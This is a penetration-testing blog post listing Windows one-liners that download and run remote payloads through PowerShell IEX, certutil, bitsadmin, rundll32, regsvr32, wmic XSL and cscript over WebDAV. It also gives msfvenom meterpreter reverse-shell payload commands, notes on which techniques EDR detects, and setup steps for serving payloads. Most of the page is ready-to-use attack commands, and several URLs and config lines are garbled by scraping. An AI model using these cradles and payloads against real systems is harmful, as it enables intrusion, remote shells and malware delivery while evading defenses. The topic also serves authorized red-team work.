Pentest One Liners

Single line commands to download and execute malicious code are useful for a number of reasons;

  • To exploit web application vulnerabilities, such as shell command injection
  • When you have the ability to execute commands, but not directly copy files (via WMI for instance)
  • To embed in other attack packages, such as Macro based malware or USB HID attacks

Having multiple techniques is useful, as endpoint detection and response systems will typically use pattern matching rules to detect some of these.


The Powershell Invoke-Expression function can be used to load Powershell code from a webserver. This is very likely to be detected by EDR solutions.

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘’);

Proxy Aware Version

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('')|iex"

Base64 Encoded

Powershell can be encoded and executed as part of a one liner. This is particularly useful when exploiting web application vulnerabilities;

Powershell -W Hidden -nop -noni -enc <base64 text>

Payload Generation

To base64 encode PowerShell scripts, use:

iconv -f ASCII -t UTF-16LE powershellscript.txt | base64 | tr -d "\n"


Windows Defender picks up on this technique.

certutil -urlcache -split -f bg.exe && bg.exe.




Windows Defender picks up on this technique.

wmic os get /format:""

Payload Generation

Stylesheet to load calc.exe:

<xsl:stylesheet xmlns:xsl="">
<xsl:script language="VBScript">
<![CDATA[Set shl = CreateObject("Wscript.Shell")Call shl.Run("""calc.exe""")]]>
xsl:template match="/">
<xsl:apply-templates select="//RESULTS"/>
<xsl:apply-templates select="//INSTANCE"/>
<xsl:eval no-entities="true" language="VBScript">DisplayValues(this)</xsl:eval>
<xsl:template match="RESULTS">
<xsl:eval no-entities="true" language="VBScript">CountResults(this)</xsl:eval>
<xsl:template match="INSTANCE">
<xsl:eval language="VBScript">GotInstance()</xsl:eval>
<xsl:apply-templates select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"/></xsl:template></xsl:stylesheet>


The Background Intelligent Transfer Service (BITS), which is normally used to download Windows updates can retrieve files from a remote server.

bitsadmin /rawreturn /transfer payload http://www.c2server/bg.exe %cd%\bg.exe && bg.exe

If you get an error like 0x80070057, this may be because the output path is incorrectly specified, or isn’t writable.


Malicious DLL files can be executed directly using rundll32.exe. DLL’s are often not interogated to the same extent as executables by EDR solutions;

rundll32 \\webdavserver\folder\payload.dll,DLLMain

Payload Generation

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f DLL > /var/www/webdav/payload.dll


Windows Defender picks up on this technique.

regsvr32 /u /n /s /i: scrobj.dll

Payload Generation

Contents of test.html:

<?XML version="1.0"?>
<registrationprogid="foo"classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo bordergate_test");]]>


Malicious C# code can be embedded within vbs files using DotNetToJScript. VBS files can be loaded over a WebDav share:

cscript //E:vbscript \\\webdav\test.vbs

WebDav Share Configuration in Kali

sudo apt install -y davfs2sudo a2enmod davsudo a2enmod dav_fssudo 
mkdir /var/www/webdavsudo 
chown -R www-data:www-data /var/www/

Edit Apache Config File


Add to top of file:

<em>DavLockDB /var/www/DavLock</em>

Add to VirtualHost section:

<em>Alias /webdav /var/www/webdav</em>
<em><Directory /var/www/webdav>


cadaver <a href=""></a>

Generate VBS Meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f vbs --arch x86 --platform win